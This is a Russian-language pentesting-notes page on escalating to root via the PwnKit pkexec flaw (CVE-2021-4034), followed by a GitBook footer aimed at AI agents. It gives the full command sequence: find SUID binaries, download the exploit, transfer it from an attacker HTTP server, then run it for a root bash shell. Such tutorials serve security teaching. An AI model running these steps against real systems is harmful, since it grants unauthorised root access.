> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/privesc/suid/suid-pkexec-linux-privilege-escalation.md).

# SUID (Pkexec) — повышение привилегий в Linux

## Что это такое

Бинарные файлы SUID запускаются с привилегиями своего владельца, часто root. Уязвимый, устаревший или слишком гибкий бинарный файл SUID может читать защищённые файлы, запускать оболочку с повышенными привилегиями или выполнять код, контролируемый атакующим. Эта конкретная страница посвящена **SUID (Pkexec)** и делает процесс эксплуатации практичным: определить условие, безопасно его проверить, а затем запустить минимальный полезный код, необходимый для подтверждения воздействия.

## Перечисление

Сначала подтвердите локальный контекст и точную ошибку настройки перед запуском пути эксплуатации.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Примеры

{% hint style="info" %}
У **CVE-2021-4034** уязвимости (PwnKit) в **pkexec** из **polkit** позволяет локальное повышение привилегий в Linux. Из-за некорректной проверки аргументов атакующий может выполнить код с правами root. Этот критический недостаток, который легко эксплуатировать, затрагивает многие дистрибутивы и требует срочного обновления polkit.
{% endhint %}

{% embed url="<https://github.com/ly4k/PwnKit>" %}

### Шаги по эксплуатации бинарного файла SUID

**Определите файлы с включённым битом SUID**

Чтобы найти файлы с битом SUID (позволяющим выполнение с привилегиями владельца, часто `root`), используйте команду:

```bash
find / -perm -4000 2>/dev/null
```

Среди результатов определите уязвимый бинарный файл **`pkexec`**.

<figure><img src="/files/d483b297a9070c15a253c635ebe95a8cd0cef6dc" alt=""><figcaption></figcaption></figure>

## Эксплуатация уязвимости

**Скачайте эксплойт на атакующей машине**

С атакующей машины загрузите скрипт эксплойта:

```bash
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
```

**Передайте эксплойт на машину жертвы**

Чтобы передать эксплойт, запустите на атакующей машине простой HTTP-сервер:

```bash
python3 -m http.server 80
```

На машине жертвы скачайте файл и выдайте ему права на выполнение:

```bash
wget http://10.10.10.10/PwnKit
```

```bash
chmod +x PwnKit
```

<figure><img src="/files/769beb4290f7f0e8ff4470ab818cfae7de71faca" alt=""><figcaption></figcaption></figure>

Запустите эксплойт

Когда файл будет готов, вы сможете выполнять команды с привилегиями root. Например:

* Для отображения идентификатора пользователя (`id`):

```bash
./PwnKit '<command>'
```

```bash
./PwnKit 'id'
```

<figure><img src="/files/43c9cf37fd7b3a3a08ebb4c5d0b633014253ceba" alt=""><figcaption></figcaption></figure>

* Чтобы получить сеанс bash с правами root:

```bash
./PwnKit 'bash -p'
```

<figure><img src="/files/9d3d371f7a94d5952184b3ae9ff2f1e1b4f02314" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/privesc/suid/suid-pkexec-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
